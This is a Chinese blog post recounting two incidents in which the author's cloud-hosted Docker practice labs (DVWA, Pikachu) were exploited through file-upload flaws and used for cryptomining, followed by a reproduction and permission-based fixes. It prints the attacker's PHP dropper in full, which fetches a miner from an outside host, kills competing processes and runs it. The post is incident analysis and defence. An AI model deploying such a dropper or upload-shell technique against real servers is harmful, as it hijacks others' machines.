zoukankan      html  css  js  c++  java
  • 服务器被入侵记录二则

    前言

    注:原创文章,禁止转载!
    之前闲着没事在阿里云用docker部署了三个老靶场,分别是sqli,dvwa,pikachu,方便他人使用学习

    阿里云的警报

    2021.6.10,阿里云给我发了一个短信提醒我疑似服务器被入侵,有挖矿行为
    我想着难道是ssh爆破?难道之前安装的fail2ban服务失效了,上线一看,运行着,首先排除ssh爆破。
    然后仔细回想了一下,也没有安装什么存在漏洞的版本的服务啊。
    登陆了阿里云控制台,看到如下信息:

    (上面的容器名是piakchu,是因为我重命名的时候打快了打错了,然后懒得命名回来了)
    果然是靶场惹的祸,直接通过pikachu靶场文件上传漏洞getshell然后运行挖矿文件。
    在我的固化思维里,docker容器与宿主机分离,还是相对安全的,你get了pikachu的shell也无所谓,之前也去了解过docker容器的逃逸,但是我的版本是没有逃逸的那个漏洞的,然后我就没有管它了。虽然不会被轻易渗透到宿主机,但是还是没想到会有人利用我的靶场来挖矿。

    复现

    为了弄清楚究竟是怎么一回事,随后去做了一个复现,这里用虚拟机做的:
    docker拉的pikachu
    通过pikachu的上传漏洞获取shell,上传的文件在宿主机以下目录:

    /var/lib/docker/volumes/1fbe430ca6daba2068c719273fb0af52dd5b756b900b2957357bd3e0316cfe57/_data/vul/unsafeupload/uploads
    

    通过蚁剑连接
    ll查看权限(我的虚拟机是有icey这个普通用户的):

    -rw-r--r--. 1 icey ftp 53 Jun 14 16:30 aa.php
    -rwxr-xr-x. 1 icey ftp 19 Jun 14 16:37 sillage.sh

    ll查看uploads目录的权限,是有执行权限的
    执行whoami,为www-data,只有对/var/www目录的管理权:

    可以运行一些脚本,但无法逸出容器对宿主机实行攻击(或许是我功力不够,有兴趣的读者可以自行折腾)
    随后将uploads目录的执行权限去掉,通过蚁剑仍然能连接,但是已经无法执行脚本了

    阿里云的警报又来了

    2021.6.21,这天又收到了警报,有了之前的经验,也在我意料之中了
    直接top命令查看,占用cpu资源最高的那个进程名tomcat就是挖矿程序,文件名是tomcat
    几乎不用想,我就知道来自dvwa靶场的文件上传,被人getshell,然后运行了挖矿文件
    我直接停掉了dvwa靶场,top再查看,tomcat进程也跟着没了
    随后一波操作来到了dvwa靶场的上传目录:

    [root@iZhp3661jqu8od84z9g4f8Z 08c916061cde7dbcbcb5b215d45e76e9ec3ed3cad8987ebbe519f0f8a8a8d34a]# find / -name tomcat
    /etc/selinux/targeted/active/modules/100/tomcat
    /var/lib/docker/overlay2/4fb773a023fedfefad7d586d7c118fb1468f109d4b4c531b46f475a608f553d8/diff/app/hackable/uploads/tomcat

    与之前不同的是,这里不仅有tomcat挖矿文件,还有一个d.php,和config.json的文件
    d.php内容如下:

    <?php 
    file_put_contents("tomcat", file_get_contents("http://XXXX.16:8088/public/controls/dhtmlx/skins/web/tomcat"));
    file_put_contents("config.json", file_get_contents("http://XXXX.16:8088/public/controls/dhtmlx/skins/web/config.json"));
    $x=system("ps axf -o 'pid %cpu' | awk '{if($2>=80) print $1}'");
    system("kill -9 ".$x);
    system('ps -aux');
    system('chmod +x tomcat');
    system('./tomcat');
    system('rm -fr d.php')
    

    虽然没怎么学过php,但上面的命令还是能看懂大部分,最后一句是删除d.php,但是为什么没删除掉自身呢,我猜可能是括号后面少写了一个分号
    里面留下了hacker的远程ip,来自中国河南,当时就来精神了,准备一波反*,第一步信息搜集,访问其web服务我就愣住了,这怎么看也不像是个私人的云服务器。这可能是个。。。
    然后就关电脑睡觉了。

    处理

    最后呢把dvwa和pikachu靶场做了处理,首先建立docker数据卷(docker volume create pikachu),映射到相应容器(docker run -d -it --name=pikachu -p 9002:80 -v pikachu:/app area39/pikachu),方便管理,其次对靶场的上传目录修改权限,去除执行权限(chmod -R a-x uploads),我是直接生硬去除了所有用户的在该目录的执行权限,然后查看靶场,发现文件上传部分直接被搞废了,不能上传,提示权限有问题:

    这样也好,省得他们是折腾了。

    后续

    又再次警报有挖矿行为了,然后登陆一看,还是那个tomcat文件,不过换了个目录
    /var/lib/docker/overlay2/3e3bfa4512a96826be672049b29031b1df6c8bf7f86573045914e7719f335efc/diff/tmp
    于是直接把tmp目录的执行权限去掉,chmod -R a-x tmp

    后来的后来,我关掉了靶场。本来就是靶场,全身的洞,补完就不叫靶场了。

    反思

    不要有固化思维
    文件的权限管理要精准把控,不给不法之人可乘之机

  • 相关阅读:
    poj 2312 Battle City
    poj 2002 Squares
    poj 3641 Pseudoprime numbers
    poj 3580 SuperMemo
    poj 3281 Dining
    poj 3259 Wormholes
    poj 3080 Blue Jeans
    poj 3070 Fibonacci
    poj 2887 Big String
    poj 2631 Roads in the North
  • 原文地址:https://www.cnblogs.com/sillage/p/14916386.html
Copyright © 2011-2022 走看看